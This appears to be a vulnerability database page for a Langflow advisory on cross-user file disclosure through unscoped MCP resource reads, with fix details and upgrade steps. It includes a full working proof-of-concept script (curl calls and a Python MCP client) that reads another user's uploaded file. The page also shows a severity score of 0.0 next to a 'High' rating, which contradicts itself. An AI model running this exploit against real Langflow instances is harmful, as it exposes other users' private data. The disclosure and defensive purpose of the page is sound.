Skip to content

GHSA-4hmc-cfm3-w43c CVE-2026-105699 PYSEC-2026-4230

Langflow has Authenticated Cross-Project File Disclosure via Unscoped MCP Resource Handlers

High PyPI
Severity
0.0 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.31%
Chance of exploitation in the next 30 days. Higher than 24.21% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-639 Authorization Bypass Through User-Controlled Key
Fix
1.9.1
Upgrade langflow to this version or later

Description

Summary

Langflow's project-scoped MCP transport authenticates the caller for the project_id in the connection URL, but the subsequent resources/read operation does not authorize the resource URI being requested. An authenticated user can connect to their own project-scoped MCP endpoint and supply a crafted file-download URI that points to another user's flow-backed file. The server then reads and returns the victim file without verifying ownership or project membership.

This is a cross-user authorization bypass (userA -> userB) that allows arbitrary read access to files stored under other users' flow namespaces.

Details

Verified against local checkout:

  • Repository: langflow-ai/langflow
  • Verified on release tag: v1.8.3
  • Commit: 08bf98404cfd7737fde57a2588785766cdf1b42e
  • Earliest stable release known to contain the vulnerable code path: v1.6.8

Relevant code path:

  1. src/backend/base/langflow/api/v1/mcp_projects.py:147-193 verify_project_auth_conditional() authenticates the caller and checks access only to the project_id in the MCP transport URL.

  2. src/backend/base/langflow/api/v1/mcp_projects.py:1238-1241 The project-scoped MCP server registers read_resource() and forwards the attacker-controlled URI directly to handle_read_resource(uri=uri).

  3. src/backend/base/langflow/api/v1/mcp_utils.py:163-182 handle_read_resource() parses the last two URI path segments as flow_id and filename, then directly calls:

    storage_service.get_file(flow_id=flow_id, file_name=filename)
    

    No check ties the supplied flow_id back to the authenticated user or the current project.

  4. src/backend/base/langflow/services/storage/local.py:141-149 src/backend/base/langflow/services/storage/s3.py:200-217 The storage layer performs a raw namespace read and is not authorization-aware.

The result is that authorization is enforced at MCP connection time, but not at resource-read time. Once an attacker has access to any project-scoped MCP endpoint they own, they can read another user's flow-backed file by passing a victim-controlled URI.

This issue is also easier to exploit because the global MCP helpers expose cross-user discovery data:

  • src/backend/base/langflow/api/v1/mcp_utils.py:102-121 handle_list_resources(project_id=None) lists files for all flows.
  • src/backend/base/langflow/api/v1/mcp_utils.py:333-380 handle_list_tools(project_id=None) queries all flows and includes flow IDs in tool metadata.

That global enumeration is not required for exploitation, but it makes obtaining victim identifiers much easier.

PoC

Preconditions:

  • Langflow is running locally with authentication enabled.
  • Two separate users exist on the same instance.
  • The victim has a flow with an uploaded file.
  • The attacker has access to any project they own.

Verify the issue locally by starting Langflow with:

cd '/Users/r1zzg0d/Documents/CVE hunting/targets/langflow'

set -a
source .env.verify
set +a

export LANGFLOW_CONFIG_DIR="$PWD/.langflow-verify"

uv run python - <<'PY'
from langflow.main import setup_app
import uvicorn

app = setup_app(backend_only=True)
uvicorn.run(app, host="127.0.0.1", port=7860, log_level="debug")
PY

Then, in a second terminal, the following script creates a victim user, an attacker user, a victim flow-backed file, and demonstrates that:

  • the normal file download route is blocked for the attacker (404)
  • the same file is readable through the attacker's own project-scoped MCP connection
cd '/Users/r1zzg0d/Documents/CVE hunting/targets/langflow'
set -euo pipefail

export BASE='http://127.0.0.1:7860'
export PASS='Passw0rd!Passw0rd!'
export VICTIM_USER="victim.$RANDOM@example.com"
export ATTACKER_USER="attacker.$RANDOM@example.com"

curl -sS -X POST "$BASE/api/v1/users/" \
  -H 'Content-Type: application/json' \
  -d "{\"username\":\"$VICTIM_USER\",\"password\":\"$PASS\"}" >/dev/null

curl -sS -X POST "$BASE/api/v1/users/" \
  -H 'Content-Type: application/json' \
  -d "{\"username\":\"$ATTACKER_USER\",\"password\":\"$PASS\"}" >/dev/null

export VICTIM_TOKEN=$(
  curl -sS -X POST "$BASE/api/v1/login" \
    -H 'Content-Type: application/x-www-form-urlencoded' \
    --data-urlencode "username=$VICTIM_USER" \
    --data-urlencode "password=$PASS" | jq -r '.access_token'
)

export ATTACKER_TOKEN=$(
  curl -sS -X POST "$BASE/api/v1/login" \
    -H 'Content-Type: application/x-www-form-urlencoded' \
    --data-urlencode "username=$ATTACKER_USER" \
    --data-urlencode "password=$PASS" | jq -r '.access_token'
)

export VICTIM_PROJECT_ID=$(
  curl -sS -X POST "$BASE/api/v1/projects/" \
    -H "Authorization: Bearer $VICTIM_TOKEN" \
    -H 'Content-Type: application/json' \
    -d '{"name":"victim-project"}' | jq -r '.id'
)

export ATTACKER_PROJECT_ID=$(
  curl -sS -X POST "$BASE/api/v1/projects/" \
    -H "Authorization: Bearer $ATTACKER_TOKEN" \
    -H 'Content-Type: application/json' \
    -d '{"name":"attacker-project"}' | jq -r '.id'
)

export VICTIM_FLOW_ID=$(
  curl -sS -X POST "$BASE/api/v1/flows/" \
    -H "Authorization: Bearer $VICTIM_TOKEN" \
    -H 'Content-Type: application/json' \
    -d "{\"name\":\"victim-flow\",\"data\":{\"nodes\":[],\"edges\":[]},\"folder_id\":\"$VICTIM_PROJECT_ID\"}" \
    | jq -r '.id'
)

printf 'cross-project-read-proof\n' > /tmp/secret.txt

export UPLOAD_JSON=$(
  curl -sS -X POST "$BASE/api/v1/files/upload/$VICTIM_FLOW_ID" \
    -H "Authorization: Bearer $VICTIM_TOKEN" \
    -F "file=@/tmp/secret.txt"
)

export VICTIM_FILE=$(
  printf '%s' "$UPLOAD_JSON" | jq -r '.file_path | split("/") | last'
)

export VICTIM_URI="$BASE/api/v1/files/download/$VICTIM_FLOW_ID/$VICTIM_FILE"

export ATTACKER_API_KEY=$(
  curl -sS -X POST "$BASE/api/v1/api_key/" \
    -H "Authorization: Bearer $ATTACKER_TOKEN" \
    -H 'Content-Type: application/json' \
    -d '{"name":"attacker-mcp-key"}' | jq -r '.api_key'
)

export DIRECT_STATUS=$(
  curl -sS -o /dev/null -w '%{http_code}' \
    -H "Authorization: Bearer $ATTACKER_TOKEN" \
    "$VICTIM_URI"
)

export MCP_READ_OUTPUT=$(
uv run python - <<'PY'
import asyncio
import base64
import os

import httpx
from mcp import ClientSession
from mcp.client.streamable_http import streamable_http_client

base = os.environ["BASE"]
project_id = os.environ["ATTACKER_PROJECT_ID"]
api_key = os.environ["ATTACKER_API_KEY"]
victim_uri = os.environ["VICTIM_URI"]
url = f"{base}/api/v1/mcp/project/{project_id}/streamable"

async def main():
    async with httpx.AsyncClient(headers={"x-api-key": api_key}, timeout=30.0) as client:
        async with streamable_http_client(url, http_client=client) as (read_stream, write_stream, _):
            async with ClientSession(read_stream, write_stream) as session:
                await session.initialize()
                result = await session.read_resource(victim_uri)
                blob = result.contents[0].blob
                print(base64.b64decode(base64.b64decode(blob)).decode().strip())

asyncio.run(main())
PY
)

echo "Direct /files/download as attacker -> $DIRECT_STATUS"
echo "Project-scoped MCP resources/read -> $MCP_READ_OUTPUT"

Expected output:

Direct /files/download as attacker -> 404
Project-scoped MCP resources/read -> cross-project-read-proof

Observed server logs during verification:

GET /api/v1/files/download/... 404 Not Found
POST /api/v1/mcp/project/<attacker-project-id>/streamable 200 OK
POST /api/v1/mcp/project/<attacker-project-id>/streamable 202 Accepted
POST /api/v1/mcp/project/<attacker-project-id>/streamable 200 OK

Impact

This is an authenticated IDOR / arbitrary file read issue in the MCP layer.

Any authenticated Langflow user who can access at least one project-scoped MCP endpoint can read files belonging to other users by supplying a victim file URI to resources/read.

Practical impact includes:

  • Cross-user disclosure of uploaded documents, CSV files, JSON files, prompts, and other flow-backed artifacts
  • Unauthorized access to sensitive business data stored in flow namespaces
  • Easier exploitation when global MCP helpers reveal other users' flow IDs and file names

Suggested Remediations

  1. Authorize resources/read against the authenticated context before calling storage. Resolve flow_id to a database object and require both: flow.user_id == current_user.id and, for project-scoped transports, flow.folder_id == current_project_id.

  2. Stop trusting arbitrary file-download URIs as resource identifiers. Instead, return opaque server-generated resource IDs from resources/list and resolve them server-side to an already authorized object.

  3. Scope global MCP enumeration helpers to the authenticated user. handle_list_resources() and handle_list_tools() should not query all flows when project_id=None; they should return only flows owned by the current user, or require elevated privileges for broader discovery.

Fix Status (Maintainer Triage Update — 2026-09-22)

This report is accurate. The vulnerable code path described above (missing ownership check in handle_read_resource()) has since been fixed.

Corrected affected version range: >= 1.6.8, <= 1.9.0 (not <= 1.8.3 — confirmed still vulnerable through v1.9.0; the fix landed with the v1.9.1 release, not later).

Fixed in: v1.9.1 (GitHub Release published 2026-04-24), via PR #12818 — "fix(mcp): close path traversal + cross-user disclosure (PVR0754098)".

  • Backport commit on release-1.9.1: f0fd436fe9829192ee550e6cb46961a01dd37032
  • Corresponding commit on main: b8fe970493fd5fb2e1fc71dfccc79f90b76058fa

The fix:

  • handle_read_resource() now requires an authenticated user context and resolves the namespace segment of the URI to a Flow row scoped to Flow.user_id == current_user.id, additionally filtering on Flow.folder_id == project_id for project-scoped MCP servers (src/backend/base/langflow/api/v1/mcp_utils.py).
  • Rejects filenames containing .., /, or \ as defense-in-depth against path traversal, and applies the same containment check to the storage layer's get_file/get_file_stream/delete_file/get_file_size (local.py/s3.py, both in langflow and lfx).
  • handle_list_resources() / handle_list_tools() are now scoped to current_user.id on the global (non-project) MCP server, closing the cross-user enumeration this report also flagged.

Verified independently against langflow-ai/langflow @ 89444c3bb5 (release-1.11.0 branch, current as of 2026-09-22): the fix is present, and the regression suite (src/backend/tests/unit/api/v1/test_mcp_utils.py, 21/21 passing) includes test_handle_read_resource_denies_other_users_flow, which reproduces this report's exact cross-user scenario and asserts it now raises ValueError("... access denied").

Affected versions

PyPI

PackageVulnerableFixed in
langflow
>= 1.6.8, < 1.9.1
1.9.1

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

langflow PyPI → 1.9.1

pip
pip install --upgrade "langflow>=1.9.1"
poetry
poetry add "langflow>=1.9.1"
uv
uv add "langflow>=1.9.1"

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
Low
User interaction
None
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
None
Availability (vulnerable system)
None
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None

Weakness

CWE-639: Authorization Bypass Through User-Controlled Key

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.

How to prevent it
  • Architecture and Design: For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.
  • Architecture and Design, Implementation: Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.
  • Architecture and Design: Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-qrpv-q767-xqq2
Langflow: IDOR Vulnerability in `/api/v1/responses` Endpoint Allows Authenticated Attackers to Access Another User's Flow
High Known exploited Also affects langflow
GHSA-vwmf-pq79-vjvx
Unauthenticated Remote Code Execution in Langflow via Public Flow Build Endpoint
Critical Known exploited Also affects langflow
GHSA-g22f-v6f7-2hrh
Langflow affected by Remote Code Execution via validate_code() exec()
High Known exploited Also affects langflow
GHSA-577h-p2hh-v4mv
Langflow CORS misconfiguration enables Account Takeover and RCE
Critical Known exploited Also affects langflow
GHSA-rvqx-wpfh-mfx7
Langflow Unauth RCE
Critical Known exploited Also affects langflow
GHSA-j8f7-x8jm-wmm4
Langflow: SSRF in URL-taking components (protection disabled by default / warn-only, not applied to RSS, SearXNG, Web Search, Home Assistant, Glean, Docling)
Medium Also affects langflow
GHSA-4f6c-2vvp-gw82
Langflow: IP Spoofing Bypass via `X-Forwarded-For` Allowing Remote Configuration Write
High Also affects langflow
GHSA-gh98-4phw-6fmw
Langflow : Cross-user flow access and vertex execution via deprecated /api/v1/build/{flow_id}/vertices endpoints
Medium Also affects langflow
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor